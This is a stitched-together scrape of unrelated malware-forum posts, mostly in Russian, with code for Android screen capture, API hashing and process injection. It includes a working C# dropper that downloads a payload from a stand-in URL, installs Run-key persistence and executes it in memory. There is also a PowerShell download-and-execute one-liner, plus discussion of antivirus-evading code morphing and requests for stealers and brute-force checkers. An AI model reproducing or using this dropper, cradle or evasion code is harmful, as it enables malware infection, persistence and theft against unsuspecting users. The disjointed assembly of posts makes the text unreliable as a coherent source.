mMediaProjection.registerCallback(new MediaProjectionStopCallback(), mHandler);
}
}
}
private void stopProjection() {
if (mHandler != null) {
mHandler.post(new Runnable() {
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
@Override
public void run() {
if (mMediaProjection != null) {
mMediaProjection.stop();
}
}
});
}
}
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
@SuppressLint("WrongConstant")
private void createVirtualDisplay() {
// get width and height
mWidth = Resources.getSystem().getDisplayMetrics().widthPixels;
mHeight = Resources.getSystem().getDisplayMetrics().heightPixels;
// start capture reader
mImageReader = ImageReader.newInstance(mWidth, mHeight, PixelFormat.RGBA_8888, 2);
mVirtualDisplay = mMediaProjection.createVirtualDisplay(SCREENCAP_NAME, mWidth, mHeight,
mDensity, getVirtualDisplayFlags(), mImageReader.getSurface(), null, mHandler);
mImageReader.setOnImageAvailableListener(new ImageAvailableListener(), mHandler);
}
}
Java:Copy to clipboard
package com.example.mycallrecording;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.media.projection.MediaProjection;
import android.media.projection.MediaProjectionManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.Toast;
import androidx.annotation.RequiresApi;
public class ScrenshotActivity extends Activity {
private static final int REQUEST_CODE = 100;
private MediaProjection mMediaProjection;
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_screnshot);
Toast.makeText(getApplicationContext(), "Screenshot Activity Started", Toast.LENGTH_LONG).show();
/* startProjection();
Toast.makeText(getApplicationContext(), "Projection is about to stops", Toast.LENGTH_LONG).show();
*/
startProjection();
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == REQUEST_CODE) {
if (resultCode == Activity.RESULT_OK) {
startService(com.example.mycallrecording.StartScreenCapService.getStartIntent(this, resultCode, data));
}
}
}
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
private void startProjection() {
MediaProjectionManager mProjectionManager =
(MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
startActivityForResult(mProjectionManager.createScreenCaptureIntent(), REQUEST_CODE);
}
private void stopProjection() {
startService(com.example.mycallrecording.StartScreenCapService.getStopIntent(this));
}
}
Какой аргумент нужно указать линкеру что бы указать свой путь для PDB файла?
Всем доброго времени суток, я начинающий програмист, знаю только озы, все мы с
чего-то начинаем! В общем я рошёл видеокурс по языку с++, и знаю основу, но не
имею представления- что мне делать дальше, я выбрал степь, решил писать ПО,
драйвера, ОС, имею право мечтать, но я не знаю как это делать( Пожалуйста,
помогите мне, какие нужно подключить библиотеки, какие используются функции,
как выглядет код драйвера, т.к. во всех форумах либо пустая болтавня, либо
готовый код и пару слов. Скатав код я ни чему не научусь, что мне делать?!!!!.
По этому прошу ВАС о помощи мне, расскажите мне подробно о том как это
делается!
Могу ли я использывать не Visual Studio, а Visual Studio Code?
В крайнем случае хотя б направьте, где копать, искать, как мне искать и что
искать! Буду ОООООООООООООООчень
благодарен!
Возможно у кого-то ещё имеются исходники данного стиллера, находил несколько
ссылок но все - не валидны, нигде не могу найти, буду благодарен за источники
Если у вас есть исходники более сильного его конкурента, было бы тоже не плохо
I can translate russian, but apologies for it. I don't understand how authors or users who crypt their file, how does the files startup still work? if the process is injected, how can it copy itself, or launch itself on start up? You can have the file get it's bytes and write to new file, but then it is not crypted on next launch. If someone has some idea or code in C# to demonstrate, will help much, thanks. I am talking about the original file having startup, not the crypter itself by the way
Я не понимаю, как авторы или пользователи, которые шифруют свой файл, как все еще работает запуск файлов? если процесс введен, как он может копировать себя или запускать себя при запуске? Файл можно получить байт и записать в новый файл, но при следующем запуске он не будет зашифрован. Если у кого-то есть какие-то идеи или код в С# , чтобы продемонстрировать, поможет, спасибо
Еще раз прошу прощения за перевод
Создание защищенного сервера баз данных на C
В этой статье будет рассмотрен первый этап создания зашифрованного и защищенного сервера баз данных на C для обработки и защиты коммуникаций c2 с веб-сайтом и серверной системой. Мы будем использовать C и PHP для взаимодействия с нашей базой данных, сервер базы данных будет написан на c, а обработка взаимодействия с интерфейсом будет осуществляться с помощью PHP. Я предполагаю, что у вас есть некоторые предварительные знания обоих языков. К концу этой статьи мы сможем создать сервер базы данных, который хранит лицензионные ключи пользователей защищенным и зашифрованным способом, который будет абсолютно бесполезен для злоумышленника в случае взлома, потому что все будет зашифровано и практически необратимо, а также локально контролироваться с полными полномочиями.
ОСНОВНЫЕ ЭЛЕМЕНТЫ ПРОЦЕДУРЫ
ХЭШИРОВАНИЕ + ШИФРОВАНИЕ| BCRYPT && XOR
---|---
Данных Хранилище| SQLITE3
---|---
C2 Коммуникация| SOCKETS
---|---
ТИП ПОДКЛЮЧЕНИЯ| ПАРАЛЛЕЛЬНЫЙ | МНОГОПОТОЧНЫЙ
---|---
ДАННЫХ СЕРВЕР (C)
1. C исходный файл и необходимые заголовки
Мы начнем с включения необходимых библиотек c, необходимых для всего процесса
server.c
C:Copy to clipboard
#include<stdlib.h>
#include<stdio.h>
#include<sqlite3.h>
#include<string.h>
#include<bcrypt.h>
#include<unistd.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<stdint.h>
#include<errno.h>
#include<sys/types.h>
#include<pthread.h>
#include<locale.h>
2. Кода Оптимизация
Здесь мы добавим c preprocessor macros для оптимизации кода и ускорения
компиляции gcc. Не все компиляторы поддерживают некоторые из этих macros.
C:Copy to clipboard
#ifndef NDEBUG
#define NDEBUG
#endif
#if defined NDEBUG
#pragma GCC optimize("02")
#endif
3. Данных Хранилище
Мы должны создать файл хранилища базы данных, который будет использоваться для
локального размещения нашей базы данных, и этот метод эффективен, потому что
нам не понадобится внешний сервер базы данных, размещенный на сервере, к
которому у нас нет полного доступа, поскольку это локальное хранилище базы
данных, у нас есть полный доступ к нашей базе данных. Давайте объявим нашу
структуру и функцию, которые будут использоваться для создания нашей локальной
базы данных SQL
C:Copy to clipboard
static uint8_t DatabaseInitializer(void);
typedef struct{
uint32_t ServerHandler;
struct sockaddr_in ServerConnectionInfo;
struct sockaddr_in ClientConnectionInfo;
uint32_t ServerConnectionHandler;
pthread_t ConnectionDispatcher;
char ReceivedPackets[(sizeof(char)*0x400)*0B0001010];
sqlite3* DBInit;
uint16_t DBInitModifier;
uint64_t SCLoad;
sqlite3* DatabaseHandler;
char* DBERR;
uint16_t DBAccessModifier;
uint8_t SOLOPT;
}VirtualMemory;
Теперь давайте напишем определение нашей функции
C:Copy to clipboard
static uint8_t DatabaseInitializer(void){
VirtualMemory *vm_db=(VirtualMemory*)malloc(sizeof(VirtualMemory)); //Выделите достаточно памяти для структуры
memset(vm_db,0B0000,VirtualMemory); //Обнуляем структуру
if((vm_db->DBInitModifier=sqlite3_open("UserLicense.db",&vm_db->DBInit))!=SQLITE_OK){ // Создаем наш файл локальной базы данных (LDF)
fprintf(stderr,"DB_INIT_ERROR : %d",errno);
return errno;// Возвращает errno как значение при сбое
}
if((vm_db->DBInitModifier=sqlite3_exec(vm_db->DBInit,"CREATE TABLE USERLICENSE(USER INT PRIMARY KEY NOT NULL,LICENSE CHAR(18));",(void*)0B0000,(void*)0B0000,&vm_db->DBERR))!=SQLITE_OK){// Создаем нашу таблицу USERLICENSE для хранения пользовательских лицензий
fprintf(stderr,"DB_INITTB_ERROR : %d : ТИП : %s",errno,vm_db->DBERR);
return errno;// Возвращает errno как значение при сбое
}
return 0x0;//
}
Давайте инициализируем нашу функцию в main блоке
C:Copy to clipboard
VirtualMemory *vm=(VirtualMemory*)malloc(sizeof(VirtualMemory));
memset(vm,0B0000000000000000,sizeof(VirtualMemory));
DatabaseInitializer()==0B0000?:exit(EXIT_FAILURE);
Теперь когда мы успешно создали нашу локальную базу данных давайте перейдем к
следующим главам посвященным инициализации сокетов и шифрованию
оставляйте свои замечания ниже я отвечу на каждый вопрос настолько насколько
смогу чтобы устранить любые недоразумения.
Всех приветствую.
В ntdll.dll присутствует функция, которая отвечает за некоторые действия
загрузчика, но проблема в том, что она не объявлена.
Я знаю, что можно искать функции по особенным паттернам, но возникает вопрос:
Как это реализовать средствами C++?
Возможно, по байтам, по строкам или API-вызовами.
( пример кода приветствуется )
C#:Copy to clipboard
using System;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Threading;
using Microsoft.Win32;
namespace ioDrop
{
class Program
{
public static void Main()
{
byte[] payloadBuffer = DownloadPayload(@"http://example.com/malware.exe");
if (InstallPayload(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\payload.exe"))
Environment.Exit(0);
else
RunPayload(payloadBuffer);
}
private static bool InstallPayload(string dropPath)
{
if (!Process.GetCurrentProcess().MainModule.FileName.Equals(dropPath, StringComparison.CurrentCultureIgnoreCase))
{
FileStream FS = null;
try
{
if (!File.Exists(dropPath))
FS = new FileStream(dropPath, FileMode.CreateNew);
else
FS = new FileStream(dropPath, FileMode.Create);
byte[] loaderBuffer = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
FS.Write(loaderBuffer, 0, loaderBuffer.Length);
FS.Dispose();
Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(Path.GetFileName(dropPath), dropPath);
Process.Start(dropPath);
return true;
}
catch
{
return false;
}
}
return false;
}
private static byte[] DownloadPayload(string url)
{
redownload:
try
{
HttpWebRequest httpRequest = (HttpWebRequest)WebRequest.Create(url);
httpRequest.Method = WebRequestMethods.Http.Get;
HttpWebResponse httpResponse = (HttpWebResponse)httpRequest.GetResponse();
Stream httpResponseStream = httpResponse.GetResponseStream();
using (MemoryStream memoryStream = new MemoryStream())
{
httpResponseStream.CopyTo(memoryStream);
httpResponse.Close();
httpResponseStream.Dispose();
return memoryStream.ToArray();
}
}
catch
{
Thread.Sleep(5000);
goto redownload;
}
}
private static void RunPayload(byte[] payload)
{
new Thread(() =>
{
try
{
Assembly asm = AppDomain.CurrentDomain.Load(payload);
MethodInfo Metinf = asm.EntryPoint;
object InjObj = asm.CreateInstance(Metinf.Name);
object[] parameters = new object[1];
if (Metinf.GetParameters().Length == 0)
{
parameters = null;
}
Metinf.Invoke(InjObj, parameters);
}
catch { }
})
{ IsBackground = false }.Start();
}
}
}
Нужна модификация и доработка софта, за подробностями в пм. Бюджет до 20.000$ Сразу деп в гаранта
](https://wikipedia.org/wiki/Obfuscation_(software))
wikipedia.org
wikipedia.org
nobody inside white uses such term --> code morphing, this is heavily used
inside our community
Octavian MorphMePlease
https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/73254/post-587652
DoppleKSE "...olvm, which is not intended for morphing at
all in the context of AV bypass..."
DildoFagins https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/42944/
libclang](https://xss.is/threads/42944/post-651006)
https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/106900/
https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/102782/post-714365
secidiot
"This is all good, of course, but what about the output detections? The
standard llvm obfuscator immediately has a tree in the statics of
Trojan/Win32.Generic, Win64:Malware-gen, Unsafe, etc., no matter how I tweak
those settings. And simply “obfuscating” (diluting it with branches, loops,
mat operations) does not make sense when, for example, you have imports
(imphash), the resources are the same on each build.
You can look somewhere in my messages on the forum, I wrote about what
morphing should really look like so that your software can live for years
without cleaning, with daily spills and rental of software, I don’t want to
just repeat it."
http://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/34888/
Unknown
"...The detection here is static. The morpher must “dilute” the code, thereby
removing the signature. But - he should not stupidly insert garbage in front
and behind. He must morph the existing code so that the result is the
same. Well, it takes the variable i and subtracts it from it, multiplies it,
performs the operations ror xor rol , and so on. Fake API and import
generators are not so critical; it is important to morph and transform the
existing code."
https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/103043/post-715149
salsa20
"Thus, the constant will be calculated during program execution based on
complex graph transformations."
](https://www.politoinc.com/post/2020/03/02/automated-obfuscation-of-windows- malwareexploits-using-o-llvm)
Intro I was thinking over how easily Meterpreter stagers can be statically detected nowadays by commercial antivirus (AV) scanners and online tools like VirusTotal. The stagers can be easily detected even when using msfvenom’s built-in encoders/encryptors or the techniques of evasion frameworks...
www.politoinc.com
the question is obvious already, what does our forum need in general? morphers
vs obfuscators, the difference lies in adding techniques like api obfuscation,
anti debugging to obfuscators == morphers
or things like control flow morphing + opaque predicates + call graph morphing
are enough?
because we all enjoyed DildoFagins articles on obfuscation
also inside your opinion --> which is what? morpher or obfuscator?
1. MorphMePlease - Octavian
2. Tree Rewriter - DildoFagins
3. OLLVM
4. what mr Unknown asked for here
http://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/34888/
more examples of morphers
Is it possible to perform any of the following programmatically on WhatsApp on
Android without танцевать на бубне?
1. block calls
2. block chats
3. delete chats
4. delete calls from history
5. unblock calls/chats
можно ли разогнать процессор с помощью проги на С++/NASM? Если да, то как? желательно небольшой пример кода/наводка куда копать
ОС для разгона Win10 x64
i need someone help me make the linkedin brute checker
cuz this is first post requst
please give me a quote
tg:dddanol
after 30 days trial you are forced to use an microsoft account. is there any way to bypass this?
Приветствую всех
Есть бот точнее исходник на node js
Требуется доработать его
В плане того чтоб проверили все на ошибки и пофиксили
Прайс какой конечно без понятия
Как только приходили средства еще даже в траст увед не приходило
Либо на BSCAN уведомление не приходило а баланс обновлялся
Бот уже отправлял средства куда мне надо
Это все есть В исходниках
Нужно только дописать
Либо что-то изменить
Что конкретно без понятия т.к я в этом 0
Милости прошу в лс.
На других бордах есть куча отзывов ( предоставлю )
Это если на тот случай если увидите что я тут новорег)
Посоветовали ваш форум
Посмотрим найду ли человека который все сделает
В продолжение темы atavism. Сугубо для первертов. С помощью ml.64 и его CTL (Compile Time Language) реализовал PoC для [этого ](https://www.ired.team/offensive-security/defense-evasion/windows-api- hashing-in-malware)алгоритма хэширования строк с доступом к хешам из С или С++ модулей. Реализовать PRNG для констант const1 , hash в масмовском CTL не удалось. Не нашел какой-либо информации по поддержке @Date, или каких- нибудь других подходящих функций. Может быть есть сведущие люди, кто знает как решить проблему. Компилировалось все это дело в Visual Studio.
Spoiler: apihashinitialize.asm
Code:Copy to clipboard
comment "types & libs, all in one place"
include \masm32\include64\masm64rt.inc
comment "constant definitions"
comment "_HASH_API is a main struct which stores hash values"
_HASH_API struct
self qword ? ;stores address of the struct
hash1 dword ?
hash2 dword ?
hash3 dword ?
hash4 dword ?
_HASH_API ends
PHASH_API typedef PTR _HASH_API
HASH_API typedef _HASH_API
.const
;nothing here yet
;data section starts here
.data
comment "TODO: Create a PRNG macro for hash value if it's possible"
comment "This macro produce hash from API name"
HashAPIName macro apiStr
const1 = 0AB10F29Fh ;change this value if you want
;to generate new hashes
hash = 35h ;same as previous
;hash loop, obviously
forc char, apiStr
hash = hash + ((hash * const1 + '&char') and 0FFFFFFh)
endm
exitm <hash>
endm
comment "Apply macro to the needed API calls"
dw_CreateThreadHash dword HashAPIName(<CreateThread>)
dw_CreateProcessHash dword HashAPIName(<CreateProcess>)
dw_Privet dword HashAPIName(<Privet>)
dw_MessageBoxHash dword HashAPIName(<MessageBox>)
;add more if you need
;initialize struct fields
p_HashApiTable _HASH_API {0,0,0,0,0}
;code section starts here
.code
comment "This function fills the table with our hashes, which we will reference later from c/cpp code"
public FillAPIHashTable
FillAPIHashTable proc
STACKFRAME
lea rdx, [p_HashApiTable]
mov p_HashApiTable.self, rdx
mov edx, dw_CreateThreadHash
mov p_HashApiTable.hash1, edx
mov edx, dw_CreateProcessHash
mov p_HashApiTable.hash2, edx
mov edx, dw_Privet
mov p_HashApiTable.hash3, edx
mov edx, dw_MessageBoxHash
mov p_HashApiTable.hash4, edx
mov rax, p_HashApiTable.self
ret
FillAPIHashTable endp
Spoiler: main.c
C:Copy to clipboard
#include <Windows.h>
#include <stdio.h>
#include <winnt.h>
#include <WinDef.h>
//prototypes
PDWORD GetFunctionAddressByHash(char* library, DWORD hash);
extern PHASH_API FillAPIHashTable();
//i don't understand how to get access to the same struct from asm file
//so I just dublicate it ;D
typedef struct _HASH_API
{
UINT64 self;
UINT32 dw_CreateThreadHash;
UINT32 dw_CreateProcessHash;
UINT32 dw_Privet;
UINT32 dw_MessageBoxHash;
} HASH_API, *PHASH_API;
typedef HANDLE (__stdcall* CUSTOMCREATETHREAD)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
}
//credits: https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
void main()
{
//i changed original code here and add stack strings to avoid strings search
char k32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2','\0'};
char u32[] = { 'u', 's', 'e', 'r', '3', '2', '\0' };
PHASH_API hapi;
hapi = FillAPIHashTable();
PDWORD functionAddress = GetFunctionAddressByHash(k32, hapi->dw_CreateThreadHash);
CUSTOMCREATETHREAD CreateThread = (CUSTOMCREATETHREAD)functionAddress;
DWORD tid = 0;
//call CreateThread
HANDLE th = CreateThread(NULL, NULL, NULL, NULL, NULL, &tid);
return 1;
}
DWORD GetHashFromString(char* string)
{
size_t stringLength = strnlen_s(string, 50);
DWORD hash = 0x35;
for (size_t i = 0; i < stringLength; i++)
{
hash += (hash * 0xab10f29f + string[i]) & 0xffffff;
}
//printf("%s: 0x00%x\n", string, hash);
return hash;
}
PDWORD GetFunctionAddressByHash(char* library, DWORD hash)
{
PDWORD functionAddress = (PDWORD)0;
//get base address of the module in which our exported function of interest resides (kernel32 in the case of CreateThread)
HMODULE hmlibraryBase = LoadLibraryA(library);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hmlibraryBase;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hmlibraryBase + dosHeader->e_lfanew);
DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)hmlibraryBase + exportDirectoryRVA);
//get RVAs to exported function related information
PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)hmlibraryBase + imageExportDirectory->AddressOfFunctions);
PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)hmlibraryBase + imageExportDirectory->AddressOfNames);
PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)hmlibraryBase + imageExportDirectory->AddressOfNameOrdinals);
//iterate through exported functions, calculate their hashes and check if any of them match our hash of 0x00544e304 (CreateThread)
//if yes, get its virtual memory address (this is where CreateThread function resides in memory of our process)
for (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++)
{
DWORD functionNameRVA = addressOfNamesRVA[i];
DWORD_PTR functionNameVA = (DWORD_PTR)hmlibraryBase + functionNameRVA;
char* functionName = (char*)functionNameVA;
DWORD_PTR functionAddressRVA = 0;
//calculate hash for this exported function
DWORD functionNameHash = GetHashFromString(functionName);
//if hash for CreateThread is found, resolve the function address
if (functionNameHash == hash)
{
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
functionAddress = (PDWORD)((DWORD_PTR)hmlibraryBase + functionAddressRVA);
printf("%s : 0x%x : %p\n", functionName, functionNameHash, functionAddress);
return functionAddress;
}
}
}
Всем доброго времени суток, может кто помочь в открытии данного формата, на четырёх машинах бьёт ошибку
net.sourceforge.jnlp.LaunchException: Fatal: Initialization Error: Could not
initialize application. The application has not been initialized, for more
information execute javaws from the command line.
at net.sourceforge.jnlp.Launcher.createApplication(Launcher.java:593)
at net.sourceforge.jnlp.Launcher.launchApplication(Launcher.java:374)
at net.sourceforge.jnlp.Launcher.access$300(Launcher.java:72)
at net.sourceforge.jnlp.Launcher$TgThread.run(Launcher.java:661)
Хочу реализовать функцию на подобие assembly load invoke, как это к примеру можно делать со сборками net, но вот как это сделать с нативным кодом, к примеру есть у меня программа на плюсах или си и я хочу загрузить ее сначала в память а потом вызвать точку входа, подскажите как это можно сделать ?
А есть возможность в WinAPI написать hook для перехвата html-текста и возможности его подмены? Может кто делал подобное или примеры?
Стоит такой вопрос, вообще вроде гдето слышал что юзать юсинг неймспейс это
х#йня, типа палиться и все такое
Что скажете ?
Как сделать Стиллер dll
Вызвано исключение по адресу 0x00000000 в example.exe: 0xC0000005: нарушение
прав доступа при исполнении по адресу 0x00000000.
Код ниже. Самое удивительное, что в дебаге отрабатывает, а в релизе нет. Думал
что проблема в оптимизации - оказался не прав.
В релизе запускается только так
Пацаны, подсобите пж. В чем проблема вообще не могу понять. Св-ва проекта облазил вдоль и поперек - короче 2 день уже думаю че за бред. В гугле толком ниче не нашел
Hi as in title , i make simple android app after install should work in background and start infite http post request in emulator connected to android studio and my personal phone works fine , but on targets phones it wan't work fine after few minutes , some times hours stop sending the http request .
what is realy the problem ? i already grant ignore battery permisison also i added a bootreciver when phone booted the service will start automaticaly but still after few minutes go offline
can someone help
the language i write my project is kotlin
Всех Приветствую. Стоит задача найти адрес функции по паттерну в NTDLL.
На просторах интернета нашел этот код:
C++:Copy to clipboard
#include <Windows.h>
#include <iostream>
bool DataCompare(byte* pData, byte* pattern, char* mask)
{
for (; *mask; mask++, pattern++, pData++)
{
if (*mask == 'x' && *pData != *pattern)
return false;
}
return true;
}
DWORD FindPattern(DWORD addr, DWORD length, byte* pattern, char* mask)
{
HMODULE handle = GetModuleHandleW(L"ntdll.dll");
MEMORY_BASIC_INFORMATION mbi = { 0 };
DWORD offset = 0;
while (offset < length)
{
VirtualQueryEx(handle, (LPCVOID)(addr + offset), &mbi,
sizeof(MEMORY_BASIC_INFORMATION));
if (mbi.State != MEM_FREE)
{
byte* buffer = new byte[mbi.RegionSize];
memcpy(mbi.BaseAddress, buffer, mbi.RegionSize);
for (unsigned int i = 0; i < mbi.RegionSize; i++)
{
if (DataCompare(buffer + i, pattern, mask))
{
delete[] buffer;
return (DWORD)mbi.BaseAddress + i;
}
}
delete[] buffer;
}
offset += mbi.RegionSize;
}
return 0;
}
unsigned char pattern[] = { 0xF6, 0x40, 0x10, 0x01 };
char* mask = (char*)"xxxx";
int main(int argc, char* argv[]) {
DWORD addr = FindPattern(
(DWORD)GetModuleHandleW(L"ntdll.dll"),
4,
pattern,
mask
);
printf("%p", (void*)addr);
return 0;
}
Но при запуске программы начинается вечный цикл...
Хотя в IDA Pro этот паттерн обозначает фрагмент в функции
LdrpPrepareModuleForExecution.
Заранее спасибо за конструктивную помощь!
Всем привет, делаю брут на Си + curl, сделал балванку, подрубил потоки. Все
отлично работает, но когда пришло время подрубать прокси для обхода прокси и
других блокировок, пошли проблемы.
Во-первых, socks5 отказывается работать, либо работает (что редко бывает)
очень медленно. Я подумал что дело socks5, медленные и херовые купил. Купил
другие - проблема та же.
Ошибка (Разные бывают, одна из них):
Bash:Copy to clipboard
* Trying 72.195.34.60:27391...
* SOCKS5 connect to IPv4 51.195.232.168:443 (locally resolved)
* SOCKS5 request granted.
* Connected to 72.195.34.60 (72.195.34.60) port 27391 (#0)
* found 387 certificates in /etc/ssl/certs
* ALPN, offering h2
* ALPN, offering http/1.1
* SSL connection using TLS1.3 / ECDHE_RSA_AES_256_GCM_SHA384
* server certificate verification failed. CAfile: none CRLfile: none
* Closing connection 0
× curl_easy_perform() failed: SSL peer certificate or SSH remote key was not OK
Код:
C:Copy to clipboard
#include "curl/curl.h"
int main()
{
const char URL[] = "https://ipcheck.com";
char curl_fields[256];
long response_code;
CURL *curl;
CURLcode res;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if (curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_PROXY, "socks5://72.195.34.60:27391");
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L);
curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/9.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0");
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
fprintf(stderr, "× curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
}
else
{
res = curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
if ((res == CURLE_OK) && ((response_code / 100) != 3))
{
printf("- %ld\n", response_code);
}
}
}
curl_easy_cleanup(curl);
curl_global_cleanup();
return 0;
}
Я думал сертификат не может найти, или еще чтото с сертификатом, сгенерировал
свой (openssl) вставил, но проблема не исчезла. Проверку сертификата тоже
убирал.
Во-вторых, скорость. 30 запросов без прокси отправлялись за 3-4 секунды,
подрубив прокси один запрос отправлялся +-32 сек. и как я думаю, это зависит
всеже от прокси, и я вставил их в firefox.settings.network и у меня хоть и
медленно, но всеже запросы в гугл быстро обрабатывались. Тестил уже многое,
смотрел примеры на гитхабе - ничего помогло.
C https/socks4 прокси тоже самое, но вот с http чутка лучше по скорости и нет ошибок.
Надеюсь вы мне поможете. Заранее спасибо!
Пытаюсь средствами С++ запустить программу написанную на NET из памяти.
Программы написанные на C++ и Delphi запускаются без проблем.
А вот программа на NET при запуске из памяти из кода на С++ выдает постоянно одну и ту же ошибку:
"This application could not be started."
Подскажите как это исправить ?
Можно ли как то реализовать, чтобы в одной директиве #define для определения одного макроимени было несколько разных значений? и они рандомизировались при выборе, когда #дефайн передаешь в функцию для исполнения?
Допустим есть функция загрузчика и в него передается 'url'
C++:Copy to clipboard
#define url "http://url.com/somefiles"
Для него можно разные значения задавать прямо в директиве?
Про рандомизацию мало инфы нашел как-то полезной, одни числовые рандомизаторы
Какие есть обусификаторы для С++?
Смотрел в сторону LLVM но он детектится по своей сигнатуре, какие есть может
моды на него или в целом другой аналог
Для преждевременного выхода из блока (а так же что бы не плодить кучу вложенных if else) часто испольуют либо goto, либо различные варианты циклов с обязательным break в конце
Spoiler: Images
С одной стороны goto избавляет от вермишели из if else, с другой стороны когда
метка находится в конце блока прямо перед закрытием скобки - выглядит это не
очень красиво и читаемо.
В то же время do/while/for + break создает дополнительную вложенность, так же
как при использовании if else.
Spoiler: Images2
Хотелось услышать мнение формучан, кто каким вариантом пользуется и почему, выслушать все за и против.
Доброго времени суток!
У меня есть код на си, содержащий массив байтов - код другой, скомпилированной
программы. Как из этого кода на си запустить новым процессом программу,
лежащую в массиве?
I want to create an application that provides rawData to PEloader.cpp before it's compiled. I tried TinyCC, but I believe there might be a more efficient approach. Can you suggest a better alternative?
I also tried reading rawData from a file on disk, but i belive i have to deliver the file with the PEloader
Spoiler: PEloader.cpp
C:Copy to clipboard
unsigned char rawData[64] = {
0x68, 0x65, 0x6D, 0x61, 0x73, 0x2D, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73,
0x6F, 0x66, 0x74, 0x2D, 0x63, 0x6F, 0x6D, 0x3A, 0x61, 0x73, 0x6D, 0x2E
};
void Inject()
{
//Deobfuscate rawData if obfuscated
void* imageBuffer = rawData();
IMAGE_NT_HEADERS64* ntHeaders;
IMAGE_SECTION_HEADER* sectionHeader;
IMAGE_DOS_HEADER* dosHeader;
...
}
Подскажите как можно это сделать на c#. Знаю что при запуске процесс сначала эмулируется в виртуальной среде Defender'а, есть же способы как можно скрыть вирус в этой среде, но я не понимаю как это сделать, посмотрел ролик о разборе движка и ничего не понял Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator. На форуме был подобный вопрос и один человек дал ссылку на гитхаб https://github.com/hfiref0x/UACME/blob/master/Source/Shared/windefend.c но этот код так же не ясен, может кто то знает как его перевести на c# ? Или какие еше есть способы ? Буду благодарен любой подсказке
Hello everyone, how do i set a clipboard hook to get any copied data in a clipboard and auto paste in a text file
Кто сталкивался с бес файловым запуском программы на Си, Вин Апи. у Powershell
готовая реализация это powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://х.х.х.х/xVpjqutz/p.ps1'))" .
По поводу Си остаются вопросы.
Так же мы запускаем не строку а exe.
Кто может обьяснить или дать линки на проэкты, маны?
Решил написать свой простенький чекер
C#:Copy to clipboard
using System;
using System.Text;
using Nethereum.Hex.HexConvertors.Extensions;
using System.Threading.Tasks;
using Nethereum.Web3;
using System.Net;
using System.IO;
namespace ConsoleApp14{
class Program{
static void Main(string[] args){
System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls | SecurityProtocolType.Ssl3;
var web3 = new Web3("https://mainnet.infura.io/v3/23328a89a7ec409eadfb15c7a9b39935");// тут если хотите можно поменять
Console.Write("List of addresses:");
var path = Console.ReadLine(); // Путь к текстовому файлу
var myList = File.ReadAllLines(path);
foreach (var item in myList){
get_balnce(web3,item).Wait();
}
Console.Write("Press any key to continue...");
Console.ReadKey(true);
}
static async Task get_balnce(Web3 web3,string adress){
var balance = await web3.Eth.GetBalance.SendRequestAsync(adress);
var etherAmount = Web3.Convert.FromWei(balance.Value);
Console.WriteLine(
"\nAddress:" + adress +
"\nAmount: " + etherAmount);
}
}
}
Пользуйтесь на здоровье
Что лучше для написание своей малавари Шарп или плюсы?
Так же интересна тема крипторов, насколько в 2022 году они актуальны, и какой
из вышеперечисленных языков подходит лучше?
